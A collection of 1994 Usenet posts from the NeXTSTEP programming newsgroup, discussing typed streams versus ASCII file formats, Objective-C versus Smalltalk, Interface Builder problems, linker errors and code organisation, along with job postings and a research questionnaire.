Dell SCSI SEARCH NetInfo domain NeXTanswers will reply to the address in your From: line. To use a different address either set your Reply-To: line, or use the NeXTanswers command REPLY-TO <your-address> If you have any problem with the system or suggestions for improvement, please send mail to NeXTanswers-request@NeXT.com. USING NEXTANSWERS BY FAX To use NeXTanswers by fax, call (415) 780-3990 from a touch-tone phone and follow the instructions. You'll be asked for your fax number, a number to identify your fax (like your phone extension or office number), and the ID numbers of the files you want. You can also request a list of available files. When you finish entering the file numbers, end the call and the files will be faxed to you. If you have problems using this fax system, please call Technical Support at 1-800-848-6398. You cannot use the fax system outside the U.S & Canada. USING NEXTANSWERS BY ANONYMOUS FTP To use NeXTanswers by Internet anonymous FTP, connect to FTP.NEXT.COM and read the help file pub/NeXTanswers/README. If you have problems using this, please send mail to NeXTanswers-request@NeXT.com. Written by: Eric P. Scott eps@toaster.SFSU.EDU and Scott Anguish sanguish@digifix.com Additions from: Greg Anderson (Greg_Anderson@afs.com) and Michael Pizolato (Michael_Pizolato@afs.com)
Newsgroups: comp.sys.next.programmer From: blenko-tom@CS.YALE.EDU (Tom M. Blenko) Subject: Re: Typed streams are evil (I've implemented text, it's better) Message-ID: <1994Jan31.040313.18844@cs.yale.edu> Sender: news@cs.yale.edu (Usenet News) Organization: Yale University, Department of Computer Science, New Haven, CT References: <2i8jf8$4pq@yucca.omnigroup.com> Date: Mon, 31 Jan 1994 04:03:13 GMT | The amazing things I discovered were: (1) the speed of reading and writing | these ascii files is about comparable to TypedStreams, and (2) the | file sizes for equivalent files were almost identical to those of | TypedStreams. Amazing but true. This is because I don't write out | redundant data the way people writing TypedStreams tend to, and because | I have a mechanism for not writing out any data I can figure out. I was quite surprised at the size of files produced by archiving using typed streams when I started using them -- they were a fraction (like maybe 10%) of what I expected. The reason turned out to be that string sharing is done automagically. For my application, this is a big win compared to (the obvious implementation via) ASCII files. Tom
From: zeno@abstractsoft.com (Sean T. Lamont) Newsgroups: comp.sys.next.programmer Subject: Re: "NeXT Registered Consultant" Date: 31 Jan 1994 06:17:32 GMT Organization: Abstract Software Message-ID: <2ii7ps$4r@news.u.washington.edu> References: <CKBt2B.KyB@dsinc!flash> In article <CKBt2B.KyB@dsinc!flash> tjhendry@mcs.drexel.edu writes: > >So, has anyone gotten their money's worth out of being a "Registered >Consultant"? > I _Certainly_ Have, since I have a shippinng product and the fee was waived! -- Sean T. Lamont | Ask me about the WSI-Fonts Abstract Software | Professional collection for NeXT lamont@abstractsoft.com |____________________________________
From: jeske@ux4.cso.uiuc.edu (David Jeske) Newsgroups: comp.sys.next.programmer Subject: Re: Is Objective - C a dead language ? Date: 31 Jan 1994 08:25:18 GMT Organization: University of Illinois at Urbana Message-ID: <2iif9e$90d@vixen.cso.uiuc.edu> References: <2i7a6l$69@vixen.cso.uiuc.edu> <2i90i7$855@ftp-p.mccaw.com> david.geary@mccaw.com (David Geary) writes: >David Jeske writes ># jeffo@uiuc.edu (J.B. Nicholson-Owens) writes: ># ># #David Jeske writes: ># ># #I'm not saying writing lengthy programs in only Obj-C won't ever be ># #done. I'm saying when I compare commonly found or so-called ># #"real-world" Smalltalk and Obj-C code, I find Smalltalk much easier to ># #read and remember. ># ># Well, I have worked on some rather large projects, One in particular ># had ONE non objective header file of #defines. Most of the code was in ># straight Objective-C with loops and string copies being the only ># exceptions. ># > Great, then you were using programmer discipline to emulate what comes >natural in Smalltalk, no? > Actually, no this is just how I write Objective-C code... as little "C" as possible. Not only does it make it much more readable. It also makes it much more extensable and error-free. -- David Jeske(N9LCA)/CompEng Student at Univ of Ill at Cham-Urbana/NeXT Programmer CoCreator of the GTalk Chat Software System - online at (708)998-0008 Mail: jeske@ux4.cso.uiuc.edu NeXTMail: jeske@sumter.cso.uiuc.edu
Newsgroups: comp.sys.next.programmer From: gery@ares.fdn.org (gery) Subject: Re: Typed streams are evil (I've implemented text, it's better) Message-ID: <1994Jan28.172717.2792@ares.fdn.org> Sender: news@ares.fdn.org Organization: Ares - Lyon, France. References: <2i8jf8$4pq@yucca.omnigroup.com> Distribution: all Date: Fri, 28 Jan 1994 17:27:17 GMT In article <2i8jf8$4pq@yucca.omnigroup.com> wjs@omnigroup.com (William Shipley) writes: > Typed streams aren't as good as a decent ASCII format. Even with versioning > there are still lots of problems with TypedStreams: they are slow, they > don't allow you to change your class heirarchy, they aren't user editable, > diffable, or cvsable, they make it very hard to figure out when they are > corrupt, it's harder to write utilities to massage them and it's harder > for users to generate them, it's harder to other programmers to make > their programs compatible with yours. > > When we switched to ASCII files we discovered a ton of advantages; > one, for instance, is that if a program is outputting bad files or if > a user file becomes corrupted, it's much easier for us to diagnose and > fix the problem. > > I recently implemented a class that can read/write the very simple but > flexible file format that is used by NeXT in a lot of their files: > DBModeler's .dbmodela files (which uses a degenerate case, bad example), > InterfaceBuilder's data.classes file inside .nib files, ProjectBuilder's > PB.project files, the built-in addressbook format (see the file > /usr/template/user/Library/Addresses/Example.addresses/AddressBook.table > for instance), NeXT's defaults file (~/.NeXT/defaults3_1.wmd), NeXT's > suffixes cache (~/.NeXT/suffixes3_1.m68k.wmd), and possibly others. > > This format is simple enough I didn't have to use lex and yacc, I simply > wrote a small but fast general parser that can read in any file in this > format. > > The amazing things I discovered were: (1) the speed of reading and writing > these ascii files is about comparable to TypedStreams, and (2) the > file sizes for equivalent files were almost identical to those of > TypedStreams. Amazing but true. This is because I don't write out > redundant data the way people writing TypedStreams tend to, and because > I have a mechanism for not writing out any data I can figure out. > > -Wil Shipley > President, Omni Development, Inc. > (aka The Omni Group) > > "We're not just DBKit weenies!" So I tested ascii to .... To output an ascii 3D Database in a way to conserve a good precision I was obliged to output double value with more than ten decimals.. even with that ... after saving and loading many time the same file the values were diverging smoothly. And the file size was more than two time my actual typedstreamed files. Another point of view... so Gery DIVRY (ZZVolume Conceptor) ARES Publisher 8, rue Victor Lagrange Phone: (+33) 72 80 16 30 Fax: (+33) 72 80 16 32 69007 LYON Email: gery@ares.fdn.org FRANCE NeXT mail accepted
From: cahalan@clouds.gsfc.nasa.gov (Robert F. Cahalan) Newsgroups: comp.sys.next.programmer Subject: OpenStep/Solaris/Mach? Date: 31 Jan 1994 14:39:56 GMT Organization: NASA Goddard Space Flight Center -- InterNetNews site Distribution: world Message-ID: <2ij57s$hiv@skates.gsfc.nasa.gov> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Open Systems Today, Jan.24, 1994, on page 73 has an interesting ad from SunSoft. They highlight their need for OpenStep developers, with "NEXTSTEP applications experience highly desired", which isn't too surprising. What I found more interesting is their emphasis on "Distributed Applications" and "Distributed Object Systems". The paragraph on distributed apps specifically requires the job applicants to have both Objective C and Mach experience. Does this suggest that they're going to put OpenStep/Solaris on top of Mach? --Bob-- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ .Dr. Robert F. Cahalan (Bob)...#..Laboratory for Atmospheres...... .cahalan@clouds.gsfc.nasa.gov..#..NASA-Goddard Space Flight Center .*** NeXTMail accepted ***.....#..Greenbelt, MD 20771............. .FAX: (301) 286-1627...........#..voice: (301) 286-4276........... ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From: jd@cs.strath.ac.uk (John W. Daly) Newsgroups: comp.sys.next.programmer Subject: Object Oriented Questionnaire Survey Date: 31 Jan 1994 15:01:29 -0000 Organization: Comp. Sci. Dept., Strathclyde Univ., Glasgow, Scotland. Distribution: world Message-ID: <2ij6g9$ht7@young.cs.strath.ac.uk> I'd like to introduce myself: my name is John Daly, and I am currently a second year PhD student researching into the topic of object oriented systems, in particular maintenance of such systems. At present, I am conducting a questionnaire survey in an attempt to gain insight into the varying opinions of experts on these areas. The questionnaire, however, is not lengthy, and will not take anyone with object oriented knowledge much time to complete. I would very much appreciate it if you would be willing to answer these questions, and email me your responses. Once I have collected and analysed these responses I will, in return, email you any findings I come up with (if you are interested). Thanks in advance, John Daly. ps My apologies if any of the newsgroups posted to are not meant for this type of appeal. ----------------------------------------------------------------------- John Daly Email: jd@cs.strath.ac.uk EFoCS Research Group, Phone: +44 (0)41 552 4400, x3256 University of Strathclyde, Glasgow, Scotland. Questionnaire on Object Oriented Systems ---------------------------------------- Edit the following from rn by typing SHIFT-r (R) which will create a file allowing you to make the appropriate modifications. In the case of multiple choice questions, please indicate your selection by placing a `X' beside the choice which best answers the question for you. If more than one box can be selected this will be indicated. Section 1 - Your Background with Object Oriented Technology ----------------------------------------------------------- Base your answers to the questions in Section 1 on experience with object oriented technology. Please feel free, however, to articulate information which you regard as relevant at the end of each question. 1. (a) What is your current position? Student Academic Software Engineer Project Manager Other - please specify: (b) In what capacity do you use object oriented technology? Teaching Programming Analysis and design Other - please specify: 2. (a) How long have you used object oriented technology? < 1 year 1 - 2 years 3 - 4 years > 4 years (b) How often do you use object oriented technology (eg every day, once a week, etc)? : 3. Which object oriented language(s) are you most familiar with? (you may select more than one box) C++ Objective-C Eiffel Smalltalk CLOS Other - please specify: 4. A method is typically how many executable lines of code? 1 - 4 lines 5 - 10 lines 11 - 20 lines > 20 lines Your range of smallest to largest is: 5. How deep would your inheritance hierarchy be before you became uncomfortable with it? 1 level 2 - 3 levels 4 - 6 levels > 6 levels No problem with depth 6. What causes you the most difficulty when trying to understand an object oriented program? Please specify: 7. Has inheritance caused difficulty when trying to understand an object oriented program? (please place a 'X' UNDER the appropriate number) Never Always 1 2 3 4 5 8. Overloading requires consistent use of method names within a system. Have you experienced any problems with consistent naming in this manner (ie methods did not maintain semantic consistency)? (please place a 'X' UNDER the appropriate number) Never Always 1 2 3 4 5 9. Have you made use of class libraries that are local to your company/academic institution (ie designed and implemented by your company/institution)? (please place a 'X' UNDER the appropriate number) Never Always 1 2 3 4 5 Section 2 - Opinionated Object Oriented Questions ------------------------------------------------- Base your answers to Section 2 on your opinions. Opinions can be gauged on experience, reading or conferring with colleagues. Again, feel free to articulate any relevant information at the end of each question. 10. Do you believe that the object oriented paradigm is more beneficial than other paradigms in terms of ... Ease of analysis and design: Yes No Don't know Programmer Productivity: Yes No Don't know Software Reuse: Yes No Don't know Ease of Maintenance: Yes No Don't know ? Any other reasons - please specify: 11. Is multiple inheritance useful? (please place a 'X' UNDER the appropriate number) Never Always 1 2 3 4 5 12. Do you think that continual maintenance of structured programs, ie non object oriented programs, leads to unmaintainability? (please place a 'X' UNDER the appropriate number) Never Always 1 2 3 4 5 13. Do you think that continual maintenance of object oriented programs leads to unmaintainability? (please place a 'X' UNDER the appropriate number) Never Always 1 2 3 4 5 14. Do you think that object oriented code is more maintainable than structured code? (please place a 'X' UNDER the appropriate number) Never Always 1 2 3 4 5 Please answer questions 15 to 19 only if you have knowledge of C++ or strong opinions on the subject in question. 15. C++ appears to have become the de facto standard object oriented language for industry. Do you regard this as Bad Good Indifferent Don't know, or Disagree with statement, please say why: 16. C++ allows a mixture of object oriented programming and structured programming. Do you see this mixture of paradigms as an Advantage, please say why: Disadvantage, please say why: Don't know 17. When maintaining a C++ program would you make use of the FRIEND function rather than redesign your inheritance hierarchy and thus maintain object orientedness? (please place a 'X' UNDER the appropriate number) Never Always 1 2 3 4 5 18. (a) How often do you make use of Operator Overloading? (please place a 'X' UNDER the appropriate number) Never Always 1 2 3 4 5 (b) Do you overload operators as Member functions, please say why: Nonmember functions, please say why: Both of the above, please say why: Not Applicable 19. How often do you make use of Templates? (please place a 'X' UNDER the appropriate number) Never Always 1 2 3 4 5 Comments and points you would care to elaborate on: --- Thanks for your time.
Newsgroups: comp.sys.next.programmer From: smith@nextone.niehs.nih.gov (Howard C. Smith) Subject: libc and cc++/NS3.1 Message-ID: <1994Jan31.180606.14603@alw.nih.gov> Sender: postman@alw.nih.gov (AMDS Postmaster) Organization: National Institutes of Health Date: Mon, 31 Jan 1994 18:06:06 GMT Mindless trivia of the day: Im attempting to compile 2 c++ classes on NS3.1 and keep getting unresolved symbols. Im NOT using streams, just normal stdio. Any ideas as to why libc doesnt get invoked? cc++ -o info main.o db.o record.o util.o -lsys_s ld: Undefined symbols: _getopt__FiPPcPc _fopen__FPCcT0 _fclose__FP6_iobuf _fgets__FPciP6_iobuf _sscanf__FPCcT0e _printf__FPCce *** Exit 1 Stop. -- Howard C. Smith National Institute of Environmental Health Sciences 111 T.W. Alexander Drive Research Triangle Park, NC 27709 smith@nextone.niehs.nih.gov
Newsgroups: comp.sys.next.programmer From: Robert La Ferla <Robert_La_Ferla@hot.com> Subject: Re: Interface Builder Help!!!! Message-ID: <1994Jan31.121540.1398@hot.com> Sender: robertl@hot.com Organization: Hot Technologies References: <1994Jan28.201340.18232@kakwa.ucs.ualberta.ca> Date: Mon, 31 Jan 1994 12:15:40 GMT Try deleting your defaults for Interface Builder: % rm ~/.NeXT/defaults.nibd Robert La Ferla Hot Technologies NEXTSTEP ISV and Consulting In article <1994Jan28.201340.18232@kakwa.ucs.ualberta.ca> eugene@nshade.uah.ualberta.ca (Eugene Mah) writes: > Help!!! My InterfaceBuilder.app's gone off the deep end on me! > > All of a sudden, it's stopped running when I try to launch it. > I get an error panel saying > Runtime Error: NXReadOnlyString : does not recognize selector > -replaceWith:. > > and > Jan 28 11:46:48 raddi InterfaceBuilder[687]: An uncaught exception was > raised > Jan 28 11:46:48 raddi InterfaceBuilder[687]: Unknown error code 314159 in > NXReportError > appears in my console. > > This only happens when I try to run IB. If I run it as another user, it > works, except that IB hangs everytime I try to add or remove a palette. > > I've tried a complete reinstall of the Dev package from the CD-ROM, and > even deleted the Dev package before reinstaling. Didn't help things at > all. > > I'm fresh out of ideas now. Anyone out there have something I can try to > get IB working again? > > Thanks alot > Eugene > > -- > ------------------------------------------------------------------ > Eugene Mah ----> eugene@uaneuro.uah.ualberta.ca (NeXT-Mail) > grad student/sys admin "For I am a Bear of Very > Department of Radiology Little Brain, and > University of Alberta Hospitals long words bother me." > Edmonton, Alberta, Canada Winnie the Pooh
Newsgroups: comp.sys.next.programmer From: z50907@mip.lasc.lockheed.com (Jeff Sickel) Subject: What languages are available under NeXTStep? Message-ID: <1994Jan31.195111.12813@enterprise.rdd.lmsc.lockheed.com> Keywords: languages, C, C++, Forth, SmallTalk.. Sender: news@enterprise.rdd.lmsc.lockheed.com (News Administrator) Organization: Lockheed Aeronautical Systems Company Date: Mon, 31 Jan 94 19:51:11 GMT I'd like to know what languages are available for NeXTStep? From what I've read I believe NeXT provides Objective C, C/C++ with their development system and there is a port of gcc. Are there any other programming languages available for application development? Jeff Sickel
Newsgroups: comp.sys.next.programmer From: chris@its.com (Chris Cuilla) Subject: Is there a FAQ regarding "tcl"? Message-ID: <1994Jan31.193752.23188@il.us.swissbank.com> Keywords: tcl Sender: root@il.us.swissbank.com (Operator) Organization: Swiss Bank Corporation CM&T Division Date: Mon, 31 Jan 1994 19:37:52 GMT Is there a FAQ regarding "tcl"? I'm hearing quite a bit about this, and would be interested in learning more. -- Chris Cuilla --- NEXTSTEP Developer chris@its.com --------------------------------------------------------------------- "There's no such thing as a 'part-time' perfectionist."
From: he@engin.swarthmore.edu (Ye He) Newsgroups: comp.sys.next.programmer Subject: How to get the path name? Date: 31 Jan 1994 21:19:39 GMT Organization: Swarthmore College, Swarthmore, PA, USA Message-ID: <2ijslb$lj7@larch.cc.swarthmore.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Help needed (desparately): How can the application know which directory it is in? I mean the full pathname. Any help will be appreciated. Ye
From: he@engin.swarthmore.edu (Ye He) Newsgroups: comp.sys.next.programmer Subject: Re: Is Objective - C a dead language ? Date: 31 Jan 1994 21:16:51 GMT Organization: Swarthmore College, Swarthmore, PA, USA Distribution: usa Message-ID: <2ijsg3$lj7@larch.cc.swarthmore.edu> References: <2i173i$h65@geraldo.cc.utexas.edu> <2i1b3r$n7k@rosie.next.com> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Mike_Paquette@next.com wrote: : In article <2i173i$h65@geraldo.cc.utexas.edu> : jirapa@nextover.pe.utexas.edu writes: : > Hi, : > : > I had heard something blasphemous in my C++ class. The instructor said : that : > objective-C is a dead language. Can anybody contribute to this comment? : Is it : > true or false or partly true? and why? : > : > Jirapa Well, as long as NeXT lives and uses Objetive-C, it is not dead, I think.
From: patersk@gb.swissbank.com (Kevin Paterson ) Newsgroups: comp.sys.next.programmer Subject: Re: Palettizing a Box subclass. Date: 31 Jan 1994 15:35:29 GMT Organization: Swiss Bank Corporation, High Timber St, London, UK Message-ID: <2ij8g1$l4u@gpo.gb.swissbank.com> References: <1994Jan14.221522.28237@news.media.mit.edu> In article <1994Jan14.221522.28237@news.media.mit.edu> wave@media.mit.edu (Michael B. Johnson) writes: > In article <SCOTT.94Jan14143110@nic.gac.edu> scott@nic.gac.edu (Scott Hess) writes: > >>Anyone ever managed to build an IB palette of a Box subclass? > >>Apparently Box's use a magical cover view, because when I make > >>changes from my inspector, the changes are not reflected in the > >>view's look until I do something odd, like resize the window. > >> > > SwitchView (in Thomas Burholder's awesome TTools mini-example) is a subclass > of Box. One of my all time favorite objects... Yes but have you ever tried to invoke the Box editor in the TTools mini-example or any other example. You cannot paste into a subclass of box using the super class' IBEditor, although you can drag a view into it from a palette. Has anyone found a way of pasting without writing your own IBEditor? Kevin Swiss Bank Corporation London
Newsgroups: comp.sys.next.programmer From: wave@media.mit.edu (Michael B. Johnson) Subject: Re: Is there a FAQ regarding "tcl"? Message-ID: <1994Jan31.222438.22252@news.media.mit.edu> Keywords: tcl Sender: news@news.media.mit.edu (USENET News System) Organization: MIT Media Laboratory References: <1994Jan31.193752.23188@il.us.swissbank.com> Date: Mon, 31 Jan 1994 22:24:38 GMT In article <1994Jan31.193752.23188@il.us.swissbank.com> chris@its.com writes: >>Is there a FAQ regarding "tcl"? I'm hearing quite a bit about this, and >>would be interested in learning more. >> Yes, there is. Read comp.lang.tcl, and/or check harbor.ecn.purdue.edu:pub/tcl -- --> Michael B. Johnson -- wave@media.mit.edu --> MIT Media Lab -- Computer Graphics & Animation Group --> 20 Ames St. E15-023G -- (617) 547-0563 (day office) --> Cambridge, MA 02139 -- (617) 253-0663 (night office)
From: he@engin.swarthmore.edu (Ye He) Newsgroups: comp.sys.next.programmer Subject: What does This Message Mean? Date: 31 Jan 1994 22:59:03 GMT Organization: Swarthmore College, Swarthmore, PA, USA Message-ID: <2ik2fn$nal@larch.cc.swarthmore.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Hello Everyone: Here goes my question: In the applicationDelegate a message (say, show) is sent to a subclass of Window, and the method corresponding to that message IS implemented in the receiver. All necessary header files are imported. But here is the error message I got: Window: does not recognize show:. I can't figure out what was wrong with what I had done. Could anyone out there give me a hand? Thanx alot! Ye
From: bakker@cyclon.aoml.erl.gov (Cary Bakker) Newsgroups: comp.sys.next.programmer Subject: need to init a popUpList Date: 1 Feb 1994 00:46:23 GMT Organization: U.S. Department of Commerce, NOAA/AOML Message-ID: <2ik8ov$dop@wave.aoml.erl.gov> I use a popUpList to display a selection of items within an inspector. I want to be able to set the popUp to a specific item within the list when the inspector is displayed. This is what happens: the inspector is updated to contain info on a new object, so the popUpList is recreated and loses the previous selection. I want to be able to set, say, the index of the item that should be selected in the popUp. There's prolly some easy way to do this, and that's why I'm asking ;) Thanks, Cary -- ------------------------------------------------------------------------- Cary A. Bakker | Music is the pleasure the human soul C.S. Major | experiences from counting without FLorida International University | being aware that it is counting... NeXT Programmer | NOAA/AOML | -- Gottfried W. Leibniz
Newsgroups: comp.sys.next.programmer From: macrae@geo.ucalgary.ca (Andrew MacRae) Subject: -object option in cc Message-ID: <Jan31.051654.42166@acs.ucalgary.ca> Date: Mon, 31 Jan 1994 05:16:54 GMT Organization: Geology & Geophysics Dept, University of Calgary, Canada Followup-To: comp.sys.next.programmer A question: What exactly does the "-object" option of cc do? I noticed its use in someone's code, and tried it out. It usually results in a substantial reduction in executable size, and yields executables that appear fully functional. However, I have not found any documentation on it, occasionally the compiler gets confused if a "-o" and "-object" option appear in the same command, and I am wary of using a feature I do not understand and is not (as near as I can tell) documented. Does anyone know what it does, how it works, when it can be used, or any disadvantages? Thanks, -Andrew macrae@pandora.geo.ucalgary.ca or: macrae@geo.ucalgary.ca
From: Michael_Pizolato@afs.com (Michael Pizolato) Newsgroups: comp.sys.next.programmer Subject: Re: Rich Text Source Code?! Message-ID: <1994Jan31.124228.421@afs.com> Date: 31 Jan 94 12:42:28 GMT References: <1994Jan25.224637.919@free.fdn.org> Sender: Michael_Pizolato@afs.com Fabien Roy writes >Here an other point: > >It s not possible to make IB to *parse* a RichText header file!! >I think the the people at NeXT should think of all the implication of >adding new features. They did think of all the implications. I had a discussion with some NeXT engineers at the time they were deciding to add RTF support to NS3.2. The decision was made rather late in the release cycle, and a conscious choice had to be made about which utilities would support RTF source and which would not. IB was left off. Because of the time crunch, NeXT never had any intention of fully supporting RTF in this release, and they were up front about that. They're not exactly just testing the waters, but they did want to gauge the reaction from the developer community before fully committing to RTF source support. Thanx, Michael -- Michael_Pizolato@afs.com "Schopenhauer's not as optimistic as Nietzsche, NeXTMail accepted but he makes up for it by being less cheerful than Kierkegaard." - Kim Pizolato
From: Michael_Pizolato@afs.com (Michael Pizolato) Newsgroups: comp.sys.next.programmer Subject: Re: Rich Text Source Code?! Message-ID: <1994Jan31.124250.477@afs.com> Date: 31 Jan 94 12:42:50 GMT References: <2i5u7b$n5@steffi.demon.co.uk> Sender: Michael_Pizolato@afs.com Robert Nicholson writes >It's not practical for NeXT to go and add RTF support to all tools >that need to read RTF. That's a quick hack. What is possible and >what should be looked at. Is some means of filter services that aren't >just based on filetype. Unless of course .rtfh becomes a recognised >extension but currently .h and .h are the same regardless of wether >they are RTF or not. > >It is my belief that filterservices isn't necessarily constrained to >file types though. So as long as the application was aware it could >use filterservices when parsing .h files. A file begining with >{\rtf0 could be considered RTF created by NeXT's text object. ie. >Edit.app. So as long are you able to specify your own criteria for >determining what type something is this is possible. > >So what's needed is a general purpose filter service aware parsing >library. > >Or perhaps a version of NXMapFile that understood filtering and just >returned the converted information to the stream. > >This sounds doable. It is doable, and the support for taking advantage of filter services already exists, in Pasteboards. I'm up to my eyeballs in it right now, in another context. IMHO, this is the way to go when supporting RTF in _any_ utility (IB, cc, whatever). How would you like to use any full-fledged word processor (one in particular comes to mind ;-) for coding, and have _any_ programming utility be able to use the resultant files automagically? Thanx, Michael -- Michael_Pizolato@afs.com "Schopenhauer's not as optimistic as Nietzsche, NeXTMail accepted but he makes up for it by being less cheerful than Kierkegaard." - Kim Pizolato
Newsgroups: comp.sys.next.programmer From: alex@cs.umd.edu (Alex Blakemore) Subject: Re: How to get the path name? Message-ID: <CKIwD4.17n@genoa.com> Sender: alex@genoa.com (Alex Blakemore) Organization: Genoa Software Systems References: <2ijslb$lj7@larch.cc.swarthmore.edu> Date: Tue, 1 Feb 1994 02:03:03 GMT Ye He writes > How can the application know which directory it is in? [[NXBundle mainBundle] directory] -- Alex Blakemore alex@cs.umd.edu NeXT mail accepted
Newsgroups: comp.sys.next.programmer From: davis@sonata.cc.purdue.edu (Robert Davis) Subject: Providing service with no send or return type Message-ID: <CKJB37.E50@mentor.cc.purdue.edu> Sender: news@mentor.cc.purdue.edu (USENET News) Organization: Purdue University, West Lafayette, IN Date: Tue, 1 Feb 1994 07:21:06 GMT Is it possible for an app to provide a service without sending or returning anything -- essentially a service that allows any app to send messages to the server? If I omit both the send type and the return type from the services spec, the service doesn't show up in the Services menu. I think this was discussed here a year or two ago. Has anyone come up with anything since then? Any info would be appreciated, Rob -- | Robert Davis davis@sonata.cc.purdue.edu | "Look up, Hannah." NeXT Mail accepted --
Newsgroups: comp.sys.next.programmer From: cichon@Informatik.TU-Muenchen.DE (Gordon Cichon) Subject: Re: Smalltalk and Obj-C (was: Re: Is Objective - C a dead language ?) References: <2i173i$h65@geraldo.cc.utexas.edu> <jeffo.759482355@uiuc.edu> <2i534o$6g0@vixen.cso.uiuc.edu> <jeffo.759581186@uiuc.edu> <2i5ulq$oi@steffi.demon.co.uk> <jeffo.759657676@uiuc.edu> Originator: cichon@hphalle9.informatik.tu-muenchen.de Sender: news@Informatik.TU-Muenchen.DE (USENET Newssystem) Organization: Technische Universitaet Muenchen, Germany Date: Tue, 1 Feb 1994 10:33:40 GMT Message-ID: <1994Feb1.103340.20434@Informatik.TU-Muenchen.DE> I think Obj-C is C with a Smalltalk "mixin". You write in C, then you write "[" and you write in Smalltalk "]" and in C back again. Overall - in contrast to C++ which is a bulk of featureism - the language is for somebody who knows C and Smalltalk very easy to learn and understand and it is not missing so much of Smalltalk functionality like C++. --- Gordon Cichon (*NO* NeXTmail please)
Newsgroups: comp.sys.next.programmer From: bbum@friday.com Subject: Re: Categorizing Categories Message-ID: <CKIH0D.1wA@friday.com> Sender: bbum@friday.com (Bill Bumgarner) Organization: Friday Software & Consulting; a virtual company References: <2ihfl6$2nf@steffi.demon.co.uk> Date: Mon, 31 Jan 1994 20:31:24 GMT Categories are usually reasonably small-- organizing them into a hierarchy is probably only going to make administrivia/lookup more difficult. I have been using the following category naming conventions and have found it to be quite workable: Class.Category.h Class.Category.m That is, a category to View named "RectManipulationUtilities" would be: View.RectManipulationUtilities.h View.RectManipulationUtilities.m etc... b.bum Robert Nicholson writes > I have a number of Categories of AppKit objects and I'm thinking how > > I should go about classifying them. > > Currently each category is a separate file, all exist within the same > directory /LocalDeveloper/Categories. > > Well, earlier this month I mentioned that PB didn't support links and > Michael at AFS voiced his concerns about using Links for achieving > source reuse. I agree with his sentiments, I'm not so sure wether I > want to commit myself to the PB hack though to support libraries. > > So, what is the best way to reuse/organise categories? > > A couple of thoughts. > > A directory for each class in the AppKit and possibly build a > library for each set of categories belonging to the same AppKit class. > > So do you have any ideas on the most effective way to organise > categories. > > I guess what I really asking is what is the most suitable level of > granularity for reuse. ie. all categories in the one library or > multiple libraries, depending on how I classify the categories. > > Any other issues? > -- > "You know what's wrong with you?" (Audrey Hepburn, Cary Grant) > "What?" > "Nothing" (Charade, 1963) > (ASCII for text only messages) -- b.bum <bbum@friday.com> | "blah blah blah" WhiteLight Systems, INC. | - someone somewhere
Newsgroups: misc.jobs.offered,misc.jobs.contract,comp.sys.next.programmer From: moirl@cuug.ab.ca (Lindsay Moir B288-4624 H286-7377) Subject: Next Step Programmer/analust positions (consulting firm) Message-ID: <CKILME.2M5@cuug.ab.ca> Date: Mon, 31 Jan 1994 22:11:02 GMT Distribution: na Organization: Calgary UNIX User's Group Hi, I have a consulting practice in Calgary, Alberta, Canada. We are looking for contract positions for NeXT Step programmers/analysts. Qualifications are i) 2 years of NeXT Step programming experience with IB and DB Toolkit ii) 2 years of Sybase iii) Oil and Gas applications development expertise. Preferably in geological or Natural Gas Marketing. iv) Must be willing to relocate to Calgary for a minimum of 6 months. Please email me your CV or contact me directly. Lindsay Lindsay Moir Tragoes Management Inc. 100 Discovery Place One 3553 31 Street NW Calgary, Alberta, Canada T2L 2K7 Phone 403 288 4624 Fax 403 282 1238 email moirl@cuug.ab.ca
From: Ralph_Zazula@next.com (Ralph Zazula) Newsgroups: comp.sys.next.programmer Subject: Re: Categorizing Categories Date: 31 Jan 1994 23:38:05 GMT Organization: NeXT, Inc. Distribution: world Message-ID: <2ik4ot$62q@rosie.next.com> References: <2ihfl6$2nf@steffi.demon.co.uk> Robert Nicholson writes > I have a number of Categories of AppKit objects and I'm thinking how > > I should go about classifying them. > > Currently each category is a separate file, all exist within the same > directory /LocalDeveloper/Categories. > > Well, earlier this month I mentioned that PB didn't support links and > Michael at AFS voiced his concerns about using Links for achieving > source reuse. I agree with his sentiments, I'm not so sure wether I > want to commit myself to the PB hack though to support libraries. > Hi - Project Builder might not handle direct links, but, it does handle linked bproj and .subproj folders. That is, if the contents are updated, they will be recognized during a build. Given that, my suggestion would be to place the categories in a subproject or bundle and link the .bproj/.subproj folder into your project. This allows you to keep a central source repository. For Example: /LocalDeveloper/Categories/ActionCell.bproj ... thru ... /LocalDeveloper/Catgegories/Window.bproj Using bundles would allow you to load only those categories that are required by your application (subprojects are linked into the application at compile time). Ralph -- Ralph Zazula Developer Trainer NeXT, Inc. Ralph_Zazula@next.com (415) 780-2893
Newsgroups: comp.sys.next.programmer From: gery@ares.fdn.org (gery) Subject: Re: Typed streams are evil (I've implemented text, it's better) Message-ID: <1994Jan31.171809.8728@ares.fdn.org> Sender: news@ares.fdn.org Organization: Ares - Lyon, France. References: <1994Jan31.040313.18844@cs.yale.edu> Date: Mon, 31 Jan 1994 17:18:09 GMT Another point to keep in mind is : Is the precision of data preserved using ascii archiving ???? A simple test : using printf and scanf Do a loop writing and reading in a file a double value many time. (you can do several test with different precisions). The final and the original values are barely the sames... Is an archiving method allowed to support divergence between an instance and this instance after an archiving/unarchiving cycle. To my opinon .. no An supportable alternative could be the typedstream archived as Ascii as an option. Gery DIVRY (ZZVolume Conceptor) ARES Publisher 8, rue Victor Lagrange Phone: (+33) 72 80 16 30 Fax: (+33) 72 80 16 32 69007 LYON Email: gery@ares.fdn.org FRANCE NeXT mail accepted
